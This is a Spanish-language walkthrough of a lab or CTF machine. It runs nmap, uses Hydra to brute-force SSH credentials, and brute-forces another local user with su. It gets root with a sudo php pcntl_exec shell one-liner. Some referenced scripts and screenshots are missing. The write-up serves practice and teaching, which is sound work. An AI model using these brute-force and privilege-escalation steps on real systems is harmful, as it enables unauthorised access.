Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 17:38 CET
Nmap scan report for rubikcube.dl (172.17.0.2)
Host is up (0.000027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)
|_ 256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds
Si entramos en el puerto 80 veremos la pagina tipica de apache2, por lo que realizaremos un poco de fuzzing.
Vemos que hay un directorio llamado /shop que si entramos en el veremos una pagina aparentemente normal, pero con una cosa rara que aparece en PHP debajo del todo:
Vemos que utiliza un index.php por lo que nos confirma que puede tener alguna vulnerabilidad, por lo que vamos a realizar un poco de fuzzing para ver si lee el passwd.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 18:24:12
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 28688798 login tries (l:2/p:14344399), ~448263 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: manchi password: lovely
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Por lo que vemos hemos obtenido las credenciales del usuario manchi, por lo que nos conectaremos por SSH.
SSH
ssh manchi@<IP>
Metemos como contraseña lovely y veremos que estamos dentro.
Escalate user seller
Estando un rato buscando, vamos a probar a realizar fuerza bruta contra el usuario seller, pero de forma interna con el siguiente script:
Con esto ya nos habremos importado el archivo para el diccionario.
Ahora ejecutamos lo siguiente:
bash suBruteforce.sh seller rockyou.txt
Info:
[+] Contraseña encontrada para el usuario seller:qwerty
Por lo que vemos hemos descubierto la contraseña de dicho usuario, por lo que nos cambiaremos a el.
su seller
Metemos como contraseña qwerty y veremos que seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for seller on fdcdb8cfa364:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User seller may run the following commands on fdcdb8cfa364:
(ALL) NOPASSWD: /usr/bin/php
Vemos que podemos ejecutar el binario php como el usuario root, por lo que haremos lo siguiente:
sudo php -r "pcntl_exec('/bin/bash', ['-p']);"
Info:
root@fdcdb8cfa364:/tmp# whoami
root
Con esto veremos que seremos root, por lo que habremos terminado la maquina.
